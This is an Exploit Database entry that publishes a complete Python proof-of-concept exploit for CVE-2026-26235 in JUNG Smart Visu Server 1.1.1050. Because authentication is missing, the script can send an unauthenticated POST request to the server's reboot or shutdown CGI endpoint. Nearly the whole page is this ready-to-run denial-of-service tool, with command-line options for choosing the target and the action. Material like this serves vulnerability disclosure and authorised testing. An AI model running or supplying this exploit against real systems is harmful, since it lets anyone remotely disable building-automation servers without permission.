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Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING JUNG Smart Visu Server 1.1.1050 - Dos EDB-ID: 52536 CVE: 2026-26235 EDB Verified: Author: BANYAMER Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-30 Vulnerable App: # Exploit Title: JUNG Smart Visu Server 1.1.1050- Dos # CVE: CVE-2026-26235 # Date: 2026-02-12 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/banyamer-security # Vendor Homepage: https://www.jung.de # Software Link: https://www.jung.de/smart-visu-server # Vulnerable: JUNG Smart Visu Server <= 1.1.1050 # Tested on: JUNG Smart Visu Server 1.1.1050 # Category: Web Application # Platform: Embedded/Linux # Exploit Type: Missing Authentication (CWE-306) import requests import sys import argparse from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def print_banner(): print("\n" + "="*60) print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC") print(" CVE-2026-26235 | CWE-306") print("="*60 + "\n") def exploit(target, action="reboot", verify_ssl=False, timeout=10): endpoints = { "reboot": "/cgi-bin/reboot.sh", "shutdown": "/cgi-bin/shutdown.sh" } if action not in endpoints: print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.") return False url = f"{target.rstrip('/')}{endpoints[action]}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Cache-Control": "max-age=0", "Origin": target.rstrip('/'), "Referer": f"{target.rstrip('/')}/", "DNT": "1", "Sec-GPC": "1" } print(f"[*] Target : {url}") print(f"[*] Action : {action.upper()}") print(f"[*] SSL Verify : {verify_ssl}") print("[*] Sending unauthenticated POST request...\n") try: response = requests.post( url, headers=headers, data="", verify=verify_ssl, timeout=timeout, allow_redirects=False ) print(f"[+] Request sent successfully!") print(f"[+] HTTP Status : {response.status_code}") if response.status_code == 200: print("[!] Server responded with 200 OK - action likely executed") elif response.status_code == 302 or response.status_code == 301: print("[!] Server responded with redirect - action may have been triggered") else: print(f"[?] Unexpected response code: {response.status_code}") if response.text: print(f"[*] Response preview: {response.text[:200].strip()}") print("\n[!] If successful, the target server should now be restarting or shutting down.") return True except requests.exceptions.Timeout: print("[-] Connection timeout. The server may be down or unreachable.") print("[*] This could indicate successful DoS if the server was previously reachable.") return True except requests.exceptions.ConnectionError as e: print(f"[-] Connection error: {e}") print("[*] The server may have gone down - possibly successful exploitation.") return True except Exception as e: print(f"[-] An error occurred: {e}") return False def main(): print_banner() parser = argparse.ArgumentParser( description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown" ) parser.add_argument( "target", help="Target server URL (e.g., https://192.168.1.100:8080)" ) parser.add_argument( "-a", "--action", choices=["reboot", "shutdown"], default="reboot", help="Action to perform: reboot or shutdown (default: reboot)" ) parser.add_argument( "-k", "--insecure", action="store_false", dest="verify_ssl", default=False, help="Disable SSL certificate verification (default: disabled)" ) parser.add_argument( "-t", "--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)" ) args = parser.parse_args() print(f"[*] Starting exploit against: {args.target}\n") success = exploit( target=args.target, action=args.action, verify_ssl=args.verify_ssl, timeout=args.timeout ) if success: print("\n[+] Exploit completed successfully.") else: print("\n[-] Exploit failed.") sys.exit(1) if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. 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